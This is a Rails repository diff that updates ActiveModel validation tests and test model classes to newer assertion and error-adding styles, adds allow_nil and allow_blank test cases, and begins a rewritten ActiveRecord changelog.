     assert_equal ["Value is "], topic.errors[:content]
   end
 
+  test "each validator skip nil values if :allow_nil is a method name evaluating to true" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_nil: :condition_is_true
+    )
+    topic = Topic.new content: nil
+    assert_predicate topic, :valid?
+    assert_empty topic.errors[:title]
+    assert_empty topic.errors[:content]
+  end
+
+  test "each validator does not skip nil values if :allow_nil is a method name evaluating to false" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_nil: :condition_is_false
+    )
+    topic = Topic.new content: nil
+    assert_predicate topic, :invalid?
+    assert_not_empty topic.errors[:content]
+  end
+
+  test "each validator skip nil values if :allow_nil is a proc evaluating to true" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_nil: -> topic { topic.condition_is_true }
+    )
+    topic = Topic.new content: nil
+    assert_predicate topic, :valid?
+    assert_empty topic.errors[:title]
+    assert_empty topic.errors[:content]
+  end
+
+  test "each validator does not skip nil values if :allow_nil is a proc evaluating to false" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_nil: -> topic { topic.condition_is_false }
+    )
+    topic = Topic.new content: nil
+    assert_predicate topic, :invalid?
+    assert_not_empty topic.errors[:content]
+  end
+
   test "each validator skip blank values if :allow_blank is set to true" do
     Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_blank: true)
     topic = Topic.new content: ""
-    assert topic.valid?
-    assert topic.errors[:title].empty?
-    assert topic.errors[:content].empty?
+    assert_predicate topic, :valid?
+    assert_empty topic.errors[:title]
+    assert_empty topic.errors[:content]
+  end
+
+  test "each validator skip blank values if :allow_blank is a method name evaluating to true" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_blank: :condition_is_true
+    )
+    topic = Topic.new content: ""
+    assert_predicate topic, :valid?
+    assert_empty topic.errors[:title]
+    assert_empty topic.errors[:content]
+  end
+
+  test "each validator does not skip blank values if :allow_blank is a method name evaluating to false" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_blank: :condition_is_false
+    )
+    topic = Topic.new content: ""
+    assert_predicate topic, :invalid?
+    assert_not_empty topic.errors[:content]
+  end
+
+  test "each validator skip blank values if :allow_blank is a proc evaluating to true" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_blank: -> topic { topic.condition_is_true }
+    )
+    topic = Topic.new content: ""
+    assert_predicate topic, :valid?
+    assert_empty topic.errors[:title]
+    assert_empty topic.errors[:content]
+  end
+
+  test "each validator does not skip blank values if :allow_blank is a proc evaluating to false" do
+    Topic.validates_with(
+      ValidatorPerEachAttribute,
+      attributes: [:title, :content],
+      allow_blank: -> topic { topic.condition_is_false }
+    )
+    topic = Topic.new content: ""
+    assert_predicate topic, :invalid?
+    assert_not_empty topic.errors[:content]
   end
 
   test "validates_with can validate with an instance method" do
     Topic.validates :title, with: :my_validation
 
     topic = Topic.new title: "foo"
-    assert topic.valid?
-    assert topic.errors[:title].empty?
+    assert_predicate topic, :valid?
+    assert_empty topic.errors[:title]
 
     topic = Topic.new
-    assert !topic.valid?
+    assert_not_predicate topic, :valid?
     assert_equal ["is missing"], topic.errors[:title]
   end
 
@@ -176,8 +259,8 @@ def check_validity!
     Topic.validates :title, :content, with: :my_validation_with_arg
 
     topic = Topic.new title: "foo"
-    assert !topic.valid?
-    assert topic.errors[:title].empty?
+    assert_not_predicate topic, :valid?
+    assert_empty topic.errors[:title]
     assert_equal ["is missing"], topic.errors[:content]
   end
 end
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
index 664719120514f..1a525b48af250 100644
--- a/activemodel/test/cases/validations_test.rb
+++ b/activemodel/test/cases/validations_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
+require "models/person"
 require "models/reply"
 require "models/custom_reader"
 
@@ -12,51 +15,42 @@ class CustomStrictValidationException < StandardError; end
 
   def teardown
     Topic.clear_validators!
+    Person.clear_validators!
   end
 
   def test_single_field_validation
     r = Reply.new
     r.title = "There's no content!"
-    assert r.invalid?, "A reply without content should be invalid"
+    assert_predicate r, :invalid?, "A reply without content should be invalid"
     assert r.after_validation_performed, "after_validation callback should be called"
 
     r.content = "Messa content!"
-    assert r.valid?, "A reply with content should be valid"
+    assert_predicate r, :valid?, "A reply with content should be valid"
     assert r.after_validation_performed, "after_validation callback should be called"
   end
 
   def test_single_attr_validation_and_error_msg
     r = Reply.new
     r.title = "There's no content!"
-    assert r.invalid?
-    assert r.errors[:content].any?, "A reply without content should mark that attribute as invalid"
+    assert_predicate r, :invalid?
+    assert_predicate r.errors[:content], :any?, "A reply without content should mark that attribute as invalid"
     assert_equal ["is Empty"], r.errors["content"], "A reply without content should contain an error"
     assert_equal 1, r.errors.count
   end
 
   def test_double_attr_validation_and_error_msg
     r = Reply.new
-    assert r.invalid?
+    assert_predicate r, :invalid?
 
-    assert r.errors[:title].any?, "A reply without title should mark that attribute as invalid"
+    assert_predicate r.errors[:title], :any?, "A reply without title should mark that attribute as invalid"
     assert_equal ["is Empty"], r.errors["title"], "A reply without title should contain an error"
 
-    assert r.errors[:content].any?, "A reply without content should mark that attribute as invalid"
+    assert_predicate r.errors[:content], :any?, "A reply without content should mark that attribute as invalid"
     assert_equal ["is Empty"], r.errors["content"], "A reply without content should contain an error"
 
     assert_equal 2, r.errors.count
   end
 
-  def test_single_error_per_attr_iteration
-    r = Reply.new
-    r.valid?
-
-    errors = r.errors.collect { |attr, messages| [attr.to_s, messages] }
-
-    assert_includes errors, ["title", "is Empty"]
-    assert_includes errors, ["content", "is Empty"]
-  end
-
   def test_multiple_errors_per_attr_iteration_with_full_error_composition
     r = Reply.new
     r.title   = ""
@@ -72,7 +66,7 @@ def test_multiple_errors_per_attr_iteration_with_full_error_composition
 
   def test_errors_on_nested_attributes_expands_name
     t = Topic.new
-    t.errors["replies.name"] << "can't be blank"
+    t.errors.add("replies.name", "can't be blank")
     assert_equal ["Replies name can't be blank"], t.errors.full_messages
   end
 
@@ -107,10 +101,26 @@ def test_errors_on_base_with_symbol_message
     assert_equal 2, r.errors.count
   end
 
+  def test_errors_on_custom_attribute
+    r = Reply.new
+
+    r.errors.add(:foo_bar, "is invalid")
+
+    assert_equal ["Foo bar is invalid"], r.errors.full_messages
+  end
+
+  def test_errors_on_custom_attribute_with_symbol_message
+    r = Reply.new
+
+    r.errors.add(:foo_bar, :invalid)
+
+    assert_equal ["Foo bar is invalid"], r.errors.full_messages
+  end
+
   def test_errors_empty_after_errors_on_check
     t = Topic.new
-    assert t.errors[:id].empty?
-    assert t.errors.empty?
+    assert_empty t.errors[:id]
+    assert_empty t.errors
   end
 
   def test_validates_each
@@ -120,7 +130,7 @@ def test_validates_each
       hits += 1
     end
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal 4, hits
     assert_equal %w(gotcha gotcha), t.errors[:title]
     assert_equal %w(gotcha gotcha), t.errors[:content]
@@ -133,7 +143,7 @@ def test_validates_each_custom_reader
       hits += 1
     end
     t = CustomReader.new("title" => "valid", "content" => "whatever")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal 4, hits
     assert_equal %w(gotcha gotcha), t.errors[:title]
     assert_equal %w(gotcha gotcha), t.errors[:content]
@@ -144,19 +154,25 @@ def test_validates_each_custom_reader
   def test_validate_block
     Topic.validate { errors.add("title", "will never be valid") }
     t = Topic.new("title" => "Title", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["will never be valid"], t.errors["title"]
   end
 
   def test_validate_block_with_params
     Topic.validate { |topic| topic.errors.add("title", "will never be valid") }
     t = Topic.new("title" => "Title", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["will never be valid"], t.errors["title"]
   end
 
+  def test_validates_with_array_condition_does_not_mutate_the_array
+    opts = []
+    Topic.validate(if: opts, on: :create) { }
+    assert_empty opts
+  end
+
   def test_invalid_validator
     Topic.validate :i_dont_exist
     assert_raises(NoMethodError) do
@@ -170,7 +186,7 @@ def test_invalid_options_to_validate
       # A common mistake -- we meant to call 'validates'
       Topic.validate :title, presence: true
     end
-    message = "Unknown key: :presence. Valid keys are: :on, :if, :unless, :prepend. Perhaps you meant to call `validates` instead of `validate`?"
+    message = "Unknown key: :presence. Valid keys are: :on, :if, :unless, :prepend, :except_on. Perhaps you meant to call `validates` instead of `validate`?"
     assert_equal message, error.message
   end
 
@@ -209,15 +225,10 @@ def validator_c
     assert_equal [:b, :a], t.call_sequence
   end
 
-  def test_errors_conversions
+  def test_errors_to_json
     Topic.validates_presence_of %w(title content)
     t = Topic.new
-    assert t.invalid?
-
-    xml = t.errors.to_xml
-    assert_match %r{<errors>}, xml
-    assert_match %r{<error>Title can't be blank</error>}, xml
-    assert_match %r{<error>Content can't be blank</error>}, xml
+    assert_predicate t, :invalid?
 
     hash = {}
     hash[:title] = ["can't be blank"]
@@ -230,23 +241,23 @@ def test_validation_order
     Topic.validates_length_of :title, minimum: 2
 
     t = Topic.new("title" => "")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal "can't be blank", t.errors["title"].first
     Topic.validates_presence_of :title, :author_name
     Topic.validate { errors.add("author_email_address", "will never be valid") }
     Topic.validates_length_of :title, :content, minimum: 2
 
     t = Topic.new title: ""
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
-    assert_equal :title, key = t.errors.keys[0]
+    assert_equal :title, key = t.errors.attribute_names[0]
     assert_equal "can't be blank", t.errors[key][0]
     assert_equal "is too short (minimum is 2 characters)", t.errors[key][1]
-    assert_equal :author_name, key = t.errors.keys[1]
+    assert_equal :author_name, key = t.errors.attribute_names[1]
     assert_equal "can't be blank", t.errors[key][0]
-    assert_equal :author_email_address, key = t.errors.keys[2]
+    assert_equal :author_email_address, key = t.errors.attribute_names[2]
     assert_equal "will never be valid", t.errors[key][0]
-    assert_equal :content, key = t.errors.keys[3]
+    assert_equal :content, key = t.errors.attribute_names[3]
     assert_equal "is too short (minimum is 2 characters)", t.errors[key][0]
   end
 
@@ -256,8 +267,8 @@ def test_validation_with_if_and_on
     t = Topic.new(title: "")
 
     # If block should not fire
-    assert t.valid?
-    assert t.author_name.nil?
+    assert_predicate t, :valid?
+    assert_nil t.author_name
 
     # If block should fire
     assert t.invalid?(:update)
@@ -268,18 +279,18 @@ def test_invalid_should_be_the_opposite_of_valid
     Topic.validates_presence_of :title
 
     t = Topic.new
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
 
     t.title = "Things are going to change"
-    assert !t.invalid?
+    assert_not_predicate t, :invalid?
   end
 
   def test_validation_with_message_as_proc
     Topic.validates_presence_of(:title, message: proc { "no blanks here".upcase })
 
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["NO BLANKS HERE"], t.errors[:title]
   end
 
@@ -329,13 +340,13 @@ def test_validations_on_the_instance_level
     Topic.validates :content, length: { minimum: 10 }
 
     topic = Topic.new
-    assert topic.invalid?
+    assert_predicate topic, :invalid?
     assert_equal 3, topic.errors.size
 
     topic.title = "Some Title"
     topic.author_name = "Some Author"
     topic.content = "Some Content Whose Length is more than 10."
-    assert topic.valid?
+    assert_predicate topic, :valid?
   end
 
   def test_validate
@@ -379,7 +390,7 @@ def test_strict_validation_in_validates
 
   def test_strict_validation_not_fails
     Topic.validates :title, strict: true, presence: true
-    assert Topic.new(title: "hello").valid?
+    assert_predicate Topic.new(title: "hello"), :valid?
   end
 
   def test_strict_validation_particular_validator
@@ -412,7 +423,7 @@ def test_validates_with_bang
 
   def test_validates_with_false_hash_value
     Topic.validates :title, presence: false
-    assert Topic.new.valid?
+    assert_predicate Topic.new, :valid?
   end
 
   def test_strict_validation_error_message
@@ -437,19 +448,19 @@ def test_dup_validity_is_independent
 
     duped = topic.dup
     duped.title = nil
-    assert duped.invalid?
+    assert_predicate duped, :invalid?
 
     topic.title = nil
     duped.title = "Mathematics"
-    assert topic.invalid?
-    assert duped.valid?
+    assert_predicate topic, :invalid?
+    assert_predicate duped, :valid?
   end
 
   def test_validation_with_message_as_proc_that_takes_a_record_as_a_parameter
     Topic.validates_presence_of(:title, message: proc { |record| "You have failed me for the last time, #{record.author_name}." })
 
     t = Topic.new(author_name: "Admiral")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["You have failed me for the last time, Admiral."], t.errors[:title]
   end
 
@@ -457,7 +468,39 @@ def test_validation_with_message_as_proc_that_takes_record_and_data_as_a_paramet
     Topic.validates_presence_of(:title, message: proc { |record, data| "#{data[:attribute]} is missing. You have failed me for the last time, #{record.author_name}." })
 
     t = Topic.new(author_name: "Admiral")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["Title is missing. You have failed me for the last time, Admiral."], t.errors[:title]
   end
+
+  def test_frozen_models_can_be_validated
+    Person.validates :title, presence: true
+    person = Person.new.freeze
+    assert_predicate person, :frozen?
+    assert_not person.valid?
+  end
+
+  def test_validate_with_except_on
+    Topic.validates :title, presence: true, except_on: :custom_context
+
+    topic = Topic.new
+    topic.validate
+
+    assert_equal ["can't be blank"], topic.errors[:title]
+
+    assert topic.validate(:custom_context)
+  end
+
+  def test_validations_some_with_except
+    Topic.validates :title, presence: { except_on: :custom_context }, length: { maximum: 10 }
+
+    assert_raise(ActiveModel::ValidationError) do
+      Topic.new.validate!
+    end
+
+    assert_raise(ActiveModel::ValidationError) do
+      Topic.new(title: "A" * 11).validate!(:custom_context)
+    end
+
+    assert Topic.new.validate!(:custom_context)
+  end
 end
diff --git a/activemodel/test/models/account.rb b/activemodel/test/models/account.rb
index eed668d38f858..40408e5708a62 100644
--- a/activemodel/test/models/account.rb
+++ b/activemodel/test/models/account.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Account
   include ActiveModel::ForbiddenAttributesProtection
 
diff --git a/activemodel/test/models/address.rb b/activemodel/test/models/address.rb
new file mode 100644
index 0000000000000..8ed8925788408
--- /dev/null
+++ b/activemodel/test/models/address.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Address
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :address_line, :city, :state, :country
+
+  def initialize(options = {})
+    options.each { |name, value| public_send("#{name}=", value) }
+  end
+
+  def attributes
+    instance_values
+  end
+end
diff --git a/activemodel/test/models/argonaut.rb b/activemodel/test/models/argonaut.rb
new file mode 100644
index 0000000000000..75b746d1b14b0
--- /dev/null
+++ b/activemodel/test/models/argonaut.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Argonaut
+  include ActiveModel::SecurePassword
+  include ActiveModel::Attributes
+
+  attribute :password_digest
+  has_secure_password algorithm: :argon2
+end
diff --git a/activemodel/test/models/blog_post.rb b/activemodel/test/models/blog_post.rb
index 46eba857dfcd8..d4b02eeaa7cb3 100644
--- a/activemodel/test/models/blog_post.rb
+++ b/activemodel/test/models/blog_post.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Blog
   def self.use_relative_model_naming?
     true
diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb
index 113ab0bc1f378..30456da05e658 100644
--- a/activemodel/test/models/contact.rb
+++ b/activemodel/test/models/contact.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Contact
   extend ActiveModel::Naming
   include ActiveModel::Conversion
@@ -17,7 +19,7 @@ def network
   end
 
   def initialize(options = {})
-    options.each { |name, value| send("#{name}=", value) }
+    options.each { |name, value| public_send("#{name}=", value) }
   end
 
   def pseudonyms
diff --git a/activemodel/test/models/custom_reader.rb b/activemodel/test/models/custom_reader.rb
index dc26bb10ff949..df605e93d973c 100644
--- a/activemodel/test/models/custom_reader.rb
+++ b/activemodel/test/models/custom_reader.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CustomReader
   include ActiveModel::Validations
 
diff --git a/activemodel/test/models/helicopter.rb b/activemodel/test/models/helicopter.rb
index 933f3c463a324..d01954c58749c 100644
--- a/activemodel/test/models/helicopter.rb
+++ b/activemodel/test/models/helicopter.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Helicopter
   include ActiveModel::Conversion
 end
@@ -5,3 +7,16 @@ class Helicopter
 class Helicopter::Comanche
   include ActiveModel::Conversion
 end
+
+class Helicopter::Apache
+  include ActiveModel::Conversion
+
+  class << self
+    def model_name
+      @model_name ||= ActiveModel::Name.new(self).tap do |model_name|
+        model_name.collection = "attack_helicopters"
+        model_name.element = "ah-64"
+      end
+    end
+  end
+end
diff --git a/activemodel/test/models/person.rb b/activemodel/test/models/person.rb
index e896e90f9842e..8dd8ceadad25d 100644
--- a/activemodel/test/models/person.rb
+++ b/activemodel/test/models/person.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Person
   include ActiveModel::Validations
   extend  ActiveModel::Translation
@@ -7,6 +9,10 @@ class Person
   def condition_is_true
     true
   end
+
+  def condition_is_false
+    false
+  end
 end
 
 class Person::Gender
diff --git a/activemodel/test/models/person_with_validator.rb b/activemodel/test/models/person_with_validator.rb
index 505ed880c1d6a..fbb28d2a0f6b6 100644
--- a/activemodel/test/models/person_with_validator.rb
+++ b/activemodel/test/models/person_with_validator.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 class PersonWithValidator
   include ActiveModel::Validations
 
   class PresenceValidator < ActiveModel::EachValidator
     def validate_each(record, attribute, value)
-      record.errors[attribute] << "Local validator#{options[:custom]}" if value.blank?
+      record.errors.add(attribute, message: "Local validator#{options[:custom]}") if value.blank?
     end
   end
 
diff --git a/activemodel/test/models/pilot.rb b/activemodel/test/models/pilot.rb
new file mode 100644
index 0000000000000..a6af6a74cbd00
--- /dev/null
+++ b/activemodel/test/models/pilot.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class Pilot
+  include ActiveModel::Attributes
+  include ActiveModel::SecurePassword
+
+  def self.generates_token_for(purpose, expires_in: nil, &)
+    @@expires_in = expires_in
+  end
+
+  def self.find_by_token_for(purpose, token)
+    "finding-for-#{purpose}-by-#{token}"
+  end
+
+  def self.find_by_token_for!(purpose, token)
+    "finding-for-#{purpose}-by-#{token}!"
+  end
+
+  def generate_token_for(purpose)
+    "#{purpose}-token-#{@@expires_in}"
+  end
+
+  attribute :password_digest
+  has_secure_password
+end
diff --git a/activemodel/test/models/reply.rb b/activemodel/test/models/reply.rb
index 3fe11043d2c33..f340b6fb1478c 100644
--- a/activemodel/test/models/reply.rb
+++ b/activemodel/test/models/reply.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "models/topic"
 
 class Reply < Topic
@@ -9,24 +11,24 @@ class Reply < Topic
   validate :check_wrong_update,     on: :update
 
   def check_empty_title
-    errors[:title] << "is Empty" unless title && title.size > 0
+    errors.add(:title, "is Empty") unless title && title.size > 0
   end
 
   def errors_on_empty_content
-    errors[:content] << "is Empty" unless content && content.size > 0
+    errors.add(:content, "is Empty") unless content && content.size > 0
   end
 
   def check_content_mismatch
     if title && content && content == "Mismatch"
-      errors[:title] << "is Content Mismatch"
+      errors.add(:title, "is Content Mismatch")
     end
   end
 
   def title_is_wrong_create
-    errors[:title] << "is Wrong Create" if title && title == "Wrong Create"
+    errors.add(:title, "is Wrong Create") if title && title == "Wrong Create"
   end
 
   def check_wrong_update
-    errors[:title] << "is Wrong Update" if title && title == "Wrong Update"
+    errors.add(:title, "is Wrong Update") if title && title == "Wrong Update"
   end
 end
diff --git a/activemodel/test/models/sheep.rb b/activemodel/test/models/sheep.rb
index 7aba055c4f8f8..30dd9ce192f5f 100644
--- a/activemodel/test/models/sheep.rb
+++ b/activemodel/test/models/sheep.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Sheep
   extend ActiveModel::Naming
 end
diff --git a/activemodel/test/models/slow_pilot.rb b/activemodel/test/models/slow_pilot.rb
new file mode 100644
index 0000000000000..3fc151fb2f465
--- /dev/null
+++ b/activemodel/test/models/slow_pilot.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class SlowPilot
+  include ActiveModel::SecurePassword
+
+  def self.generates_token_for(purpose, expires_in: nil, &)
+    @@expires_in = expires_in
+  end
+
+  def generate_token_for(purpose)
+    "#{purpose}-token-#{@@expires_in}"
+  end
+
+  has_secure_password reset_token: { expires_in: 1.hour }
+end
diff --git a/activemodel/test/models/topic.rb b/activemodel/test/models/topic.rb
index 192786c0967da..5c1d35cfac3f0 100644
--- a/activemodel/test/models/topic.rb
+++ b/activemodel/test/models/topic.rb
@@ -1,6 +1,13 @@
+# frozen_string_literal: true
+
 class Topic
   include ActiveModel::Validations
   include ActiveModel::Validations::Callbacks
+  include ActiveModel::AttributeMethods
+  include ActiveSupport::NumberHelper
+
+  attribute_method_suffix "_before_type_cast", parameters: false
+  define_attribute_method :price
 
   def self._validates_default_keys
     super | [ :message ]
@@ -8,12 +15,13 @@ def self._validates_default_keys
 
   attr_accessor :title, :author_name, :content, :approved, :created_at
   attr_accessor :after_validation_performed
+  attr_writer :price
 
   after_validation :perform_after_validation
 
   def initialize(attributes = {})
     attributes.each do |key, value|
-      send "#{key}=", value
+      public_send "#{key}=", value
     end
   end
 
@@ -21,7 +29,7 @@ def condition_is_true
     true
   end
 
-  def condition_is_true_but_its_not
+  def condition_is_false
     false
   end
 
@@ -34,6 +42,23 @@ def my_validation
   end
 
   def my_validation_with_arg(attr)
-    errors.add attr, "is missing" unless send(attr)
+    errors.add attr, "is missing" unless public_send(attr)
+  end
+
+  def price
+    number_to_currency @price
+  end
+
+  def raw_price
+    @price
+  end
+
+  def attribute_before_type_cast(attr)
+    instance_variable_get(:"@#{attr}")
   end
+
+  private
+    def five
+      5
+    end
 end
diff --git a/activemodel/test/models/track_back.rb b/activemodel/test/models/track_back.rb
index 357ee37d6db02..728a022db522d 100644
--- a/activemodel/test/models/track_back.rb
+++ b/activemodel/test/models/track_back.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Post
   class TrackBack
     def to_model
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
index 6556b1a7d934b..b607308c188fc 100644
--- a/activemodel/test/models/user.rb
+++ b/activemodel/test/models/user.rb
@@ -1,10 +1,24 @@
+# frozen_string_literal: true
+
 class User
   extend ActiveModel::Callbacks
+  include ActiveModel::Attributes
+  include ActiveModel::Dirty
   include ActiveModel::SecurePassword
 
   define_model_callbacks :create
 
+  attribute :password_digest
   has_secure_password
 
-  attr_accessor :password_digest
+  attribute :recovery_password_digest
+  has_secure_password :recovery_password, validations: false
+
+  attr_accessor :password_called
+
+  def password=(unencrypted_password)
+    self.password_called ||= 0
+    self.password_called += 1
+    super
+  end
 end
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
index 22ad1a3c3dc12..96bf3ef10aab5 100644
--- a/activemodel/test/models/visitor.rb
+++ b/activemodel/test/models/visitor.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Visitor
   extend ActiveModel::Callbacks
   include ActiveModel::SecurePassword
@@ -6,5 +8,6 @@ class Visitor
 
   has_secure_password(validations: false)
 
-  attr_accessor :password_digest, :password_confirmation
+  attr_accessor :password_digest
+  attr_reader :password_confirmation
 end
diff --git a/activemodel/test/validators/email_validator.rb b/activemodel/test/validators/email_validator.rb
index 9b74d83b37d5e..774a10b2ba2fc 100644
--- a/activemodel/test/validators/email_validator.rb
+++ b/activemodel/test/validators/email_validator.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
 
 class EmailValidator < ActiveModel::EachValidator
   def validate_each(record, attribute, value)
-    record.errors[attribute] << (options[:message] || "is not an email") unless
-      /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i.match?(value)
+    unless /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i.match?(value)
+      record.errors.add(attribute, message: options[:message] || "is not an email")
+    end
   end
 end
diff --git a/activemodel/test/validators/namespace/email_validator.rb b/activemodel/test/validators/namespace/email_validator.rb
deleted file mode 100644
index 8639045b0d40e..0000000000000
--- a/activemodel/test/validators/namespace/email_validator.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require "validators/email_validator"
-
-module Namespace
-  class EmailValidator < ::EmailValidator
-  end
-end
diff --git a/activemodel/test/validators/namespaced/email_validator.rb b/activemodel/test/validators/namespaced/email_validator.rb
new file mode 100644
index 0000000000000..f94b0e7b7fc08
--- /dev/null
+++ b/activemodel/test/validators/namespaced/email_validator.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require "validators/email_validator"
+
+module Namespaced
+  class EmailValidator < ::EmailValidator
+  end
+end
diff --git a/activerecord/.gitignore b/activerecord/.gitignore
new file mode 100644
index 0000000000000..f2516307fae8c
--- /dev/null
+++ b/activerecord/.gitignore
@@ -0,0 +1,5 @@
+/sqlnet.log
+/test/config.yml
+/test/db/
+/test/storage/
+/test/fixtures/*.sqlite*
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index 116363f2d9ff1..928b02a6681fe 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,647 +1,186 @@
-*   Omit redundant `using: :btree` for schema dumping.
+*   Yield the transaction object to the block when using `with_lock`.
 
-    *Ryuta Kamizono*
+    *Ngan Pham*
 
-*   Deprecate passing `default` to `index_name_exists?`.
+*   Fix bug when `current_transaction.isolation` would not have been reset in test env.
 
-    *Ryuta Kamizono*
-
-*   PostgreSQL: schema dumping support for interval and OID columns.
-
-    *Ryuta Kamizono*
-
-*   Deprecate `supports_primary_key?` on connection adapters since it's
-    been long unused and unsupported.
-
-    *Ryuta Kamizono*
-
-*   Make `table_name=` reset current statement cache,
-    so queries are not run against the previous table name.
-
-    *namusyaka*
-
-*   Allow `ActiveRecord::Base#as_json` to be passed a frozen Hash.
-
-    *Isaac Betesh*
-
-*   Fix inspection behavior when the :id column is not primary key.
-
-    *namusyaka*
-
-*   Deprecate locking records with unpersisted changes.
-
-    *Marc Schütz*
-
-*   Remove deprecated behavior that halts callbacks when the return is false.
-
-    *Rafael Mendonça França*
-
-*   Deprecate `ColumnDumper#migration_keys`.
-
-    *Ryuta Kamizono*
-
-*   Fix `association_primary_key_type` for reflections with symbol primary key.
-
-    Fixes #27864.
-
-    *Daniel Colson*
-
-*   Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+.
-
-    MySQL generated columns: https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
-    MariaDB virtual columns: https://mariadb.com/kb/en/mariadb/virtual-computed-columns/
-
-    Declare virtual columns with `t.virtual name, type: …, as: "expression"`.
-    Pass `stored: true` to persist the generated value (false by default).
-
-    Example:
-
-        create_table :generated_columns do |t|
-          t.string  :name
-          t.virtual :upper_name,  type: :string,  as: "UPPER(name)"
-          t.virtual :name_length, type: :integer, as: "LENGTH(name)", stored: true
-          t.index :name_length  # May be indexed, too!
-        end
-
-    *Ryuta Kamizono*
-
-*   Deprecate `initialize_schema_migrations_table` and `initialize_internal_metadata_table`.
-
-    *Ryuta Kamizono*
-
-*   Support foreign key creation for SQLite3.
-
-    *Ryuta Kamizono*
-
-*   Place generated migrations into the path set by `config.paths["db/migrate"]`.
-
-    *Kevin Glowacz*
-
-*   Raise `ActiveRecord::InvalidForeignKey` when a foreign key constraint fails on SQLite3.
-
-    *Ryuta Kamizono*
-
-*   Add the touch option to ActiveRecord#increment! and decrement!.
-
-    *Hiroaki Izu*
-
-*   Deprecate passing a class to the `class_name` because it eagerloads more classes than
-    necessary and potentially creates circular dependencies.
-
-    *Kir Shatrov*
-
-*   Raise error when has_many through is defined before through association.
-
-    Fixes #26834.
-
-    *Chris Holmes*
-
-*   Deprecate passing `name` to `indexes`.
-
-    *Ryuta Kamizono*
-
-*   Remove deprecated tasks: `db:test:clone`, `db:test:clone_schema`, `db:test:clone_structure`.
-
-    *Rafel Mendonça França*
-
-*   Compare deserialized values for `PostgreSQL::OID::Hstore` types when
-    calling `ActiveRecord::Dirty#changed_in_place?`.
-
-    Fixes #27502.
-
-    *Jon Moss*
-
-*   Raise `ArgumentError` when passing an `ActiveRecord::Base` instance to `.find`,
-    `.exists?` and `.update`.
-
-    *Rafael Mendonça França*
-
-*   Respect precision option for arrays of timestamps.
-
-    Fixes #27514.
-
-    *Sean Griffin*
-
-*   Optimize slow model instantiation when using STI and `store_full_sti_class = false` option.
-
-    *Konstantin Lazarev*
-
-*   Add `touch` option to counter cache modifying methods.
-
-    Works when updating, resetting, incrementing and decrementing counters:
-
-        # Touches `updated_at`/`updated_on`.
-        Topic.increment_counter(:messages_count, 1, touch: true)
-        Topic.decrement_counter(:messages_count, 1, touch: true)
-
-        # Touches `last_discussed_at`.
-        Topic.reset_counters(18, :messages, touch: :last_discussed_at)
-
-        # Touches `updated_at` and `last_discussed_at`.
-        Topic.update_counters(18, messages_count: 5, touch: %i( updated_at last_discussed_at ))
-
-    Fixes #26724.
-
-    *Jarred Trost*
-
-*   Remove deprecated `#uniq`, `#uniq!`, and `#uniq_value`.
-
-    *Ryuta Kamizono*
-
-*   Remove deprecated `#insert_sql`, `#update_sql`, and `#delete_sql`.
-
